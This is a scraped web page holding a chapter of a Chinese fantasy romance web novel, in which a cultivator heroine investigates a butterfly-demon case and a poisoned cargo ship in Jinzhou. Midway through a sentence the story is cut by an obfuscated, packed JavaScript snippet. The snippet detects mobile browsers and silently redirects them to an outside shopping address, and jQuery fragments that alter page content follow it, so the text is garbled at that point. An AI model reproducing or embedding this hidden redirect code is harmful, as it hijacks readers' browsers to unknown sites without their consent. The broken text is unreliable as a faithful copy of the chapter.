默认冷灰
24号文字
方正启体

31. 蝶妖作祟!

作者:三斤月光本书字数:K更新时间:
    锦州城,凤来客栈。


    清明时节,暗香疏影,窗外便是一览无余的永安正街。锦州城两面环海,气温适宜,又因为连接商路,四通八达,更是商贩行人的汇聚之地。


    刚一入城,沈南意拉着柳月莹如脱缰了的野马般闯入闹市之中,其余弟子也纷纷结伴同行,沈舒瑶不喜热闹,便同沈淮序先来了客栈,温婵自然是跟着沈舒瑶一起。


    三人相顾无言,为了缓和气氛,沈淮序摆出了棋盘邀她对弈。沈舒瑶闲来无事,倒也欣然接受。可沈淮序的意图太过明显,在她又赢了一次后,沈舒瑶只能无奈道:“兄长,可不要再让着我了。”


    虽说她回来没多久,但沈淮序擅棋,杀遍宗门上下难逢棋手的事情她还是清楚的,这种事情都不用她去过多打听,多的是弟子夸耀自己的大师兄。


    “是兄长糊涂了。”沈淮序没想到自己放水放的这么巧妙,还能被沈舒瑶察觉到,只能含糊其辞地揭过去,但这也说明了沈舒瑶对他的关心,心中多少还是有些慰藉的。


    沈舒瑶不解的看着沈淮序欣慰的目光,她借口乏了,沈淮序这才将棋盘收了起来,但之后他又不知道该聊些什么。


    他不理解为什么沈南意每次总有那么多的话和沈舒瑶聊,大抵是女儿家更亲近些。


    “兄长,我方才路过瞧着楼下的迎春糕挺香的,想麻烦兄长去买一些。”沈舒瑶无奈开口,见沈淮序当即起身,又道:“兄长不必拘着自己在这里陪我,你不在,许师弟和林表弟定然是玩得不尽兴,心里还念着你。我这边有小鱼陪着,品品茶,赏赏景,挺惬意的。”


    沈淮序闻言点了点头,见他终于走了,沈舒瑶松了口气,她不明白沈淮序怎么想的,两个沉默少言的人照镜子似的在这坐着,只能是相顾无言。


    隔壁戏园里传来抑扬顿挫的戏曲声,沈舒瑶倚着窗台,听着那令人如痴如醉的起承转合只觉倍感惬意。


    她没怎么听过戏,认不出唱的都是些什么戏剧,只记得一句词极为应景——不入春园怎知春色几许。


    “姐姐,这是昆曲牡丹亭。”温婵看着沈舒瑶感兴趣的样子,便继续讲了下去:“讲述一位官家小姐杜丽娘做了一个梦,在梦中遇到了一名叫柳梦梅的男子,情不知所起,一往情深,他们在梦里相知相守,生者可以死,死者可以生……”


    “人鬼相异,仍不相负,这世间最难解的一个字就是情。可单单因为情字丧了命,那就真真是个傻子。”沈舒瑶感慨道,温婵见她眉目间的惆怅伤感,小心地问道:“姐姐,有心悦之人?”


    “有,我同他,亦是家人。”


    提起景瑜,沈舒瑶淡然的眸子在刹那间升起夺目的星光,让她眼尾处的那颗泪痣都添了些难言的雀跃,让她清冷的气质都被带出几分明媚。


    “姐姐的意中人,那定然是极好的。”温婵由衷道。


    “他自是极好的。”沈舒瑶眉眼弯弯的道,右手不自觉的抚摸着腕间碧水灵镯,景瑜这只龙,其实有一大堆毛病,幼稚、傲娇、固执不说,有时候还会有些目下无人,但这并不妨碍他是个极好的龙。


    “姐姐这样好的人,日后定会一生欢喜的。”温婵既为沈舒瑶高兴,又难免伤怀自己痴心错付落得了如今千疮百孔的下场,未来她也许会孤独一生,不会再嫁与他人。


    “小鱼,我并不是什么好人。”


    “于我而言,姐姐是天底下最好的人。”


    沈舒瑶盯着她看了一会,突然笑了起来,温婵不明所以地跟着笑,就听沈舒瑶神神叨叨的掐指算道:“我掐指一算,算出你日后所思所愿皆美满。”


    “借姐姐吉言,定是会的。”


    温婵展颜一笑,悄悄擦去眼角的泪水,她看得出沈舒瑶那掐指一算的架势是从算命先生那里学来的,却看得她一股暖流涌上心头。


    毕竟人活着,不就是为了个盼头吗?


    没过多久,沈淮序就回来了,他一将纸包打开,空气中霎时间弥漫着多种清甜花香。


    “阿姐!兄长!”


    沈舒瑶垂眸望去,就看到满载而归的沈南意和柳月莹,瞧见沈舒瑶注意到她,沈南意欢快地朝她挥了挥手。


    此时旁边厢房客人的谈话顺着风声入耳。


    “姚老爷回来了?”


    “不是吧,姚老爷不是都已经失踪数月了吗?”


    “你瞧,领头的人是一月前外出经商的姚家大公子姚卿松。”


    “姚家几个公子里,也只有这位嫡出的大公子做买卖不亏本。”


    “怪不得那,你说他也够倒霉的,自己的母亲被妖怪害死了,他又不得姚老爷的喜爱,这姚家日后的当家人保不准会是谁那。”


    “听说那妖怪在外还有个姘头……”


    沈舒瑶朝下望去,只见夕阳铺撒的街道上,立有姚家旗帜的商队缓缓前行。


    许培风施施然的走近,折扇一甩架势十足的道:“近日城中死了无数人,个个死状惨烈,一日夜里更夫目睹这姚夫人化身为妖,吃人挖心,正巧寒青宗弟子路过将她镇住,这才救下了那苦命的更夫。


    奇怪的是,这姚夫人明明是土生土长的锦州人,怎么就成了杀人吃心的妖?城中谣言纷纷,都道她是被妖怪害了命,夺了身,又因为牵扯一桩旧案证据不足,如今被镇压在牢中。”


    沈舒瑶心中的狐疑渐渐散开,从一踏入锦州城时,她便觉得这里的山也不对,水也不对,如今看来也许是这妖怪残害多人的原因。


    “再说这姚夫人乃是锦州首富姚家的千金,和如今的姚老爷相敬如宾,儿女双全,平日里她常常接济穷苦百姓,是城中出了名的大善人,若不是那日挖心吃人的画面太过血腥,百姓们也不愿意相信那妖竟是菩萨般的姚夫人,如今都在猜测那妖是何时占了姚夫人的身子。”


    “那是只什么妖?”沈南意从他身后窜进包厢,俏皮一笑后将怀中礼盒塞入沈舒瑶的怀中,沈舒瑶顺势给她塞了块花糕,同时也没忘了她身后的柳月莹。


    “好吃吗?”沈舒瑶笑问,就见沈南意的头点得跟个拨浪鼓似的,忍俊不禁地为她和柳月莹倒了杯茶。


    “听说是只蝶妖。”许培风分享着自己得来的消息,就见一向清冷孤傲的柳月莹眼中迸发出强烈的好奇心,语气暗含兴奋道:“蝴蝶能修炼成精那可真是有大造化啊。”


    柳月莹平日里最喜欢研究各种疑难杂症,对于各种违背常理的事情也极为感兴趣,若是有机会能够研究那就更好了。


    几人知晓她的心思齐齐默然,随后又讨论起这件事来,一旁的沈舒瑶却是陷入了沉思。蝴蝶寿命短缺极难修炼,普天之下能够修炼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349512|199594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成妖的屈指可数。这只蝶妖,莫不是故人?


    红日隐蔽,白云晕沉,一滴雨珠落下,乱了她的思绪,沈舒瑶心道这场春雨来的急促,方才还是艳阳高照如今却已是大雨滂沱。


    大雨乱了行人步伐,有人快步奔走,有人撑起油伞,有人漫步其中独享风雨,零星风雨飘了进来,温婵连忙将沈舒瑶拉远,沈南意抬手关窗,两人完美合作却相看两厌,沈舒瑶却敏锐地嗅到了风雨中的一丝晦气。


    透过雕花木窗,她眸中闪过一抹深色,随后消散无形,却被一旁的柳月莹捕捉到了。


    “阿瑶,怎么了?”柳月莹问。


    “无事,约摸是方才受凉了。”沈舒瑶佯装咳了两声,沈淮序、沈南意和温婵的注意力瞬间被吸引,沈舒瑶接过温婵递过来的热茶,望了一眼柳月莹,笑容清浅道:“想来喝些热水便好了,若有不适再叨扰柳姐姐。”


    四目相对,柳月莹似笑非笑地点头允诺。


    沈淮序同许培风江听澜聊着蝶妖一事,像是没注意到两人的动作。


    众人这段时间也是乏了,吃了晚饭后便早早休息了。


    沈舒瑶出了门。


    屋外仍旧下着淅淅沥沥的小雨,沈舒瑶撑着一把泛黄的油伞,水珠顺着伞柄的纹络缓缓落下,打在了伞坠处的琉璃玉珠上。


    她一路朝东走去,顺着弥漫的祟气,她来到了货船的停泊处,一挥手姚家紧闭的船舱豁然打开,腐败的气息迅速弥漫开来,里面竟是数不清的动物尸体。


    沈舒瑶指尖闪烁,银光吞噬着四处逃窜的毒气,黑夜中,碧色玉叶飘在海面,源源不断地吞噬着晦气。幻妖的妖丹跃于水面,复刻着之前的景象。


    “果真是狼子野心。”沈舒瑶笑意冰冷,锦州春日多雨,可想而知疫病会随着雨水降落在城中的每一处,让人避无可避,成为不死不灭的傀儡。这毒应当还是在试验阶段,若这毒性再强些,周边城池也会受到影响。


    这般手段定然不止针对东凌一国。


    得找个机会把背后之人引出来。


    沈舒瑶闭眼,额前金纹一闪而过,再睁眼时,古老繁复的阵法在她眼底流转,随后无数道金光顺着土壤蔓延开来。


    神木术-草木皆兵。


    如今城中一举一动透过花草都在她的掌握之中,她也看清了牢房中妇人的模样。透过皮相,看破灵魂,果真是位故人。


    舱门依旧,风雨如晦,平静得像是什么都没有发生过。


    回去时,沈舒瑶潋眸思索,却被小金龙哼唧的声音扰断了思绪。只见景瑜整只龙将被子掀开,精神萎靡地哼唧着。


    沈舒瑶用灵力探过,知晓他的身体并没有问题。那么……沈舒瑶伸出罪恶的指尖,一会儿挠挠这,一会儿挠挠那儿,景瑜果然精神百倍地开始躲闪。


    谁能想到堂堂的神龙大人竟然怕痒?


    沈舒瑶手上结结实实的挨了一掌,却是收了爪子和力气的,半分没有伤到她。景瑜惺忪睡眼间流露着不愉,整只龙滚到了床里。


    沈舒瑶轻笑,又不让碰了。


    她将小金龙重新捞回怀里,揪着龙的尾巴,揉着龙的龙角,直揉得小金龙叫苦不迭。


    突然,沈舒瑶身上一沉,被人直直压在了床榻上。


    她抬头,撞进了一池碧波春水。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)